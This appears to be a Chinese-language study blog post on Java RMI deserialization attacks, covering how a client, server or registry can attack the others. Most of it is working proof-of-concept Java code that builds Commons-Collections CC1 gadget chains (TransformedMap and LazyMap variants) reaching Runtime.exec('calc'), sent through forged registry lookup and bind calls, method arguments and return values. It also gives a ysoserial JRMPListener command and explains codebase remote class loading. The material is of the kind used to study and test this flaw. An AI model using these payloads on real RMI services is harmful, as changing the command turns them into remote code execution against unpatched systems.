反序列化攻击
一.攻击注册中心
前面我们分析了Registryimpl_Skel.dispatch对于不同方法交互有不同数字分配,并且除了 list 都有反序列化的点
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
1.1 客户端攻击注册中心
unbind 与 lookup 处理一样,以 lookup 为例 。对于注册中心而言,lookup 代表与客户端进行交互,bind 代表与服务端进行交互.
现在看 lookup 怎么攻击,通过前面我们的分析可以知道 lookup 里面序列化远程对象的 name(String 类型的)不能利用进行攻击

就得重新自己写一个 lookup 能序列化 Object 类的来进行连接()
首先进行分析 Registry_Stub.lookup,明白它的功能,
- 创建一次远程调用上下文 super.ref 就是 UnicastRef 调用 newCall 方法,将Registry_Stub 私有属性 operations 传进去
- RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
1
| private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
- 方法参数
var1 进行序列化,并写入到网络通道中
- ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); </font
- 建立网络连接 UnicastRef.invoke
- 再反序列化(现在我们研究客户端进行攻击,它被攻击的这个点可省略)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); }
super.ref.invoke(var2);
Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("error unmarshalling return", var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("error unmarshalling return", var16); } finally { super.ref.done(var2); } .....
|
所以现在整理一下需要反射获取父类 ref 即 RemoteObject 的 ref
定义数组 operations
POC :
注意服务端客户端都得添加一样的依赖。这里用 CC3 的依赖打 CC1
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.rmi.server.UnicastRef;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map;
public class ClientAttRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Class<?> clazz = Class.forName("java.rmi.server.RemoteObject"); Field field = clazz.getDeclaredField("ref"); field.setAccessible(true); UnicastRef ref = (UnicastRef) field.get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(CC1()); ref.invoke(var2);
}
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
public static Object CC1() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put("value","value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, transformedMap); return o; }
}
|
1.2 服务端攻击注册中心
bind 这里就和 lookup 一样样,newCall 传的第二个参数数字变为 0
发现是可以的(0,2,3,4 都 ok)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException { try { RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try { ObjectOutput var4 = var3.getOutputStream(); var4.writeObject(var1); var4.writeObject(var2); } catch (IOException var5) { throw new MarshalException("error marshalling arguments", var5); }
super.ref.invoke(var3); super.ref.done(var3);
|
接下来 bind 相比 lookup 还有另一种利用方式
因为它不只是序列化了 String,还序列化 Remote 接口这里可以利用,那么就可以用动态代理,传一个代理类,代理类反序列化的时候就调用 InvocationHandle 的 readObject。然后调用处理器就是我们封装的恶意代码

POC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote remoteProxy = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, CC1()); registry.bind("111",remoteProxy);
}
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
public static InvocationHandler CC1() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put("value","value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, transformedMap); InvocationHandler o1 = (InvocationHandler) o; return o1; }
|
二.攻击服务端
2.1 客户端攻击服务端
场景:客户端发起请求序列化方法参数,调用远程方法。要造成对服务端的攻击参数可利用(Object)就好了,我们之前在 demo 中写调用 sayHello 参数为 String,那重新写一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj"); System.out.println(remoteObj.sayhello(CC1()));
}
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
public static Object CC1() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put("value","value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, transformedMap); return o; }
|
那当服务端没有 Object 参数方法时怎么绕过,后续具体学,还有 Bypass JEP290 一些相关
三.攻击客户端
3.1 服务端攻击客户端
分两种情况,一种与上面对称:客户端请求方法后服务端返回恶意对象,这个对象是 Object 的就可以利用,另一种是远程加载对象,这种就是 P 神 codebase
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的
CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则
Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为
Example 类的字节码。
当 codebase 被控制,我们就可以加载恶意类,但是只有满足以下条件的 RMI 服务器才能被攻击:
● 安装并配置了 SecurityManager
● Java 版本低于 7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false 其中 java.rmi.server.useCodebaseOnly 是在 Java 7u21、6u45 的时候修改的一个默认设置
服务端返回 Object
创建的代理类能强转成任何想要的类,就用 CC1(LazyMap 动态代理版的)打好了
服务端实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException { }
@Override public String sayhello(String keywords) throws RemoteException { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; }
@Override public Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
return (Object) handler;
} }
|
两端接口都添加这个的方法
客户端直接调用
1 2 3 4 5 6 7 8
| public class RMICilent { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj"); remoteObj.sayhello(); }
}
|
3.2 注册中心攻击客户端
注册中心去攻击还是上面看过的这几个方法 bind,unbind,list,lookup,
除了unbind和rebind,其他方法都会反序列化
我们使用 ysoserial 的 JRMPListener,命令如下
1
| java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
|
再运行客户端
参考博客:
https://drun1baby.top
https://halfblue.github.io